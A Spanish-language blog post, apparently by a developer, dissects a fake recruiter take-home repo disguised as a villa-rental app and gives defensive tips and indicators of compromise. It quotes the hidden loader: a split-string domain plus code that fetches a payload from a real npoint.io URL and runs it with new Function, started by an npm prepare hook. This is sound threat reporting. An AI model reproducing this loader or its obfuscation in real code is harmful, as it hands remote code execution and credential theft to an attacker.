Una semana. Eso es lo que tardó en aparecer el siguiente
Si leíste mi último post, sabes que casi caí en una prueba técnica de trabajo falsa que ocultaba malware en la Binance Smart Chain. Era una plataforma de póker con payloads alojados en la blockchain
Esta vez es una "plataforma de alquiler Copia" — una app de reserva de villas construida con React, Express y MongoDB. Diferente fachada, mismo juego
Y casi lo hicieron más difícil de detectar
La Propuesta
El mismo guion que la vez anterior. Un reclutador te contacta, el puesto suena bien, aquí tienes un repo para revisar como prueba técnica
El proyecto parece una app de alquiler MERN stack estándar. Villas, reservas, autenticación de usuarios, chat. Frontend React limpio con react-router, backend Express con autenticación JWT, Socket.io para mensajería en tiempo real
Copia-rental_platform/├── src/│ ├── components/ # Home, Villas, Contact, Navbar, Footer│ ├── subComponents/ # HeroSection, Regions, TopVillas│ ├── server/│ │ ├── controllers/ # auth, product, seller, chat│ │ ├── middleware/ # JWT socket auth│ │ ├── models/ # User, Product, Chat│ │ ├── routers/ # Express routes│ │ └── utils/ # ...aquí es donde se pone raro│ └── App.jsx├── package.json└── vite.config.js
A primera vista pasa la prueba del olfato. Componentes reales, flujo de autenticación real, operaciones CRUD reales
Señal de Alarma #1: El Directorio utils
El servidor tiene un directorio utils/ lleno de archivos que no tienen absolutamente nada que ver con alquilar villas:
src/server/utils/├── actions/│ ├── rarity_core_attributes.js│ ├── rarity_extended_boars.js│ ├── rarity_extended_crafting_helper.js│ ├── rarity_extended_daycare.js│ ├── rarity_extended_equipment.js│ ├── rarity_extended_farming.js│ ├── rarity_extended_name.js│ ├── rarity_openmic_perform.js│ ├── rarity_theForest.js│ ├── vaults.js│ └── utils.js├── index.js└── performBatchedUpdates.js
Todo esto está robado de Rarity Extended, un juego RPG en blockchain. Los archivos todavía tienen las cabeceras originales del autor con @Author: Rarity Extended y @Twitter: @RXtended
Una plataforma de alquiler no necesita apeInVault(), claimGold(), recruitAdventurer() ni lootDungeonTheCellar(). Este código existe únicamente para inflar el repo y hacer que parezca un proyecto más grande y legítimo
Señal de Alarma #2: El Historial de Git
El historial de commits cuenta la historia real:
61e64fb updated backend functions 45b66b14 updated backend functions 3776cc7f deleted backend api connection...01f085f 0xdj28f8q2hfebc7d74c 0xkaf28fjdrafhc2ff83a 0xioadq328fakfw1a6db3e 0xi2fidkkfkw8e1734a 0xdafk3afdufh2...7b2d903 Initial commit
Más de 40 commits con mensajes falsos de aspecto hexadecimal diseñados para parecer hashes de transacciones blockchain. Cuatro identidades de autor diferentes — smitrajput, rcstanciu, fadeev, passabilities — todos haciendo commits para simular que un equipo real construyó esto a lo largo del tiempo
Nadie nombra sus commits 0xmcr214a31be. Esto es teatro
Señal de Alarma #3: El Script prepare
Igual que la última vez:
{"scripts": {"start": "npm run server | vite","prepare": "node ./src/server/app.js | vite","server": "node ./src/server/app.js"}}
El hook de ciclo de vida prepare se ejecuta automáticamente con npm install. Inicia el servidor backend. El servidor carga los controllers. Y uno de esos controllers tiene una sorpresa esperando
La Carga Útil
Aquí está el malware, oculto en src/server/controllers/product.js entre funciones CRUD completamente normales:
const subDomain1 = "api.np";const subDomain2 = "oint.io";const domain2 = subDomain1 + subDomain2;const uuid = "c237b2d383b98719acdc";
El dominio está dividido en dos cadenas. "api.np" + "oint.io" se ensambla como api.npoint.io — un servicio de alojamiento JSON. Si buscas con grep URLs sospechosas en el código, no encontrarás ninguna. Astuto
Luego enterrado entre getBidHistory y updateProduct:
(async () => {const res = await axios.get(`https://${domain2}/${uuid}`);new Function("require", res.data.model)(require);})();
Una función async auto-invocada que descarga código del servidor remoto y lo ejecuta con new Function(), pasando require para acceso completo a Node.js
La misma técnica que la estafa del póker. El mismo patrón new Function("require", payload)(require). Diferente mecanismo de entrega — esta vez es una API JSON en lugar de un smart contract en blockchain
Comparando los Dos Ataques
La estafa del póker (semana 1) se disfrazó de plataforma de póker Web3. Alojaba su payload en un smart contract de Binance Smart Chain, activado por una llamada a configureCollection(). La ofuscación se basaba en nombres de funciones de apariencia normal, y el código de relleno eran eventos de ajedrez en una app de póker
La plataforma de alquiler (semana 2) se hace pasar por un sitio de reserva de villas. Aloja su payload en npoint.io, un servicio de API JSON. El disparador es una IIFE auto-invocada enterrada entre exports normales. La ofuscación usa cadenas de dominio divididas, y el código de relleno es un juego RPG blockchain metido en una app de alquiler
Lo que se mantiene igual: el hook prepare se ejecuta automáticamente al instalar. Ambos usan new Function("require", payload)(require) para ejecutar código descargado con acceso completo al sistema
La técnica central es idéntica. Descargar una cadena, ejecutarla como código, pasar require para darle acceso completo al sistema
El enfoque de npoint.io es en realidad menos sofisticado que la versión blockchain. Un endpoint JSON puede ser eliminado. Un smart contract es inmutable. Pero también es más rápido de configurar y más fácil de actualizar
Qué Hay de Diferente Esta Vez
La división de cadenas es nueva. En lugar de tener una URL completa en el código, dividen el dominio en múltiples variables. Esto derrota las búsquedas grep simples de dominios maliciosos conocidos
La ubicación también es más sutil. En la estafa del póker, el disparador del malware era una llamada a función independiente al final del arranque del servidor. Aquí es una IIFE anónima apretada entre dos funciones de exportación normales en un archivo de controller. Tendrías que leer cada línea para detectarlo
Y el código de relleno es más inteligente. La última vez tenían eventos de ajedrez en un juego de póker. Esta vez el código robado de Rarity Extended al menos se relaciona con crypto/Web3, lo cual es marginalmente más plausible en el contexto de un proyecto Node.js
El Patrón
Esta es la campaña Contagious Interview. Atribuida al Lazarus Group de Corea del Norte. Se dirigen a desarrolladores — especialmente los de crypto — a través de ofertas de trabajo falsas
La fórmula:
- Un reclutador falso te contacta con una buena oportunidad
- Un proceso de entrevista profesional genera confianza
- Una prueba técnica para hacer en casa se entrega como repo de GitHub
npm installactiva la carga útil- Tu máquina está comprometida
Dos intentos en una semana me dice que están escalando. O estoy en una lista ahora, o la red se está ampliando
Qué Hacer
Si recibes una prueba técnica de un reclutador:
- Lee los scripts de
package.jsonantes que nada —prepare,preinstall,postinstallson hooks que se ejecutan automáticamente - Busca
new Function,eval,Function(en todo el código - Busca concatenación de cadenas que construyan URLs o nombres de dominio
- Verifica si los directorios utils o lib realmente corresponden al propósito del proyecto
- Revisa el historial de git — commits hex falsos y múltiples autores en un proyecto pequeño son señales de alarma
- Ejecútalo en un contenedor Docker o VM si es que lo ejecutas
Si ya ejecutaste npm install en un repo sospechoso:
- Asume que estás comprometido. Rota todas las credenciales, busca procesos desconocidos, escanea extensiones del navegador
- Mueve las criptomonedas de cualquier wallet que fuera accesible desde esa máquina
- Revisa
~/.ssh/,~/.aws/, perfiles del navegador en busca de señales de exfiltración
Indicators of Compromise
Para quienes investigan amenazas:
- URL de carga útil:
https://api.npoint.io/c237b2d383b98719acdc - Técnica: División de cadenas para ensamblar el dominio (
"api.np" + "oint.io") - Ejecución:
new Function("require", res.data.model)(require) - Autor git:
smitrajput <smitrajputtd@gmail.com>
Reflexión Final
Dos veces en una semana. La misma técnica, diferente envoltorio
La primera casi me atrapa porque no la esperaba. Esta no lo hizo porque ahora audito cada prueba técnica antes de tocarla. Esa paranoia me salvó
Si estás buscando trabajo como desarrollador ahora mismo, especialmente en crypto o Web3 — tus habilidades de revisión de código necesitan empezar con la prueba misma. Antes de escribir una sola línea de código, lee el de ellos
El reclutador podría ser falso. La empresa podría ser falsa. Pero el malware es muy real
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.



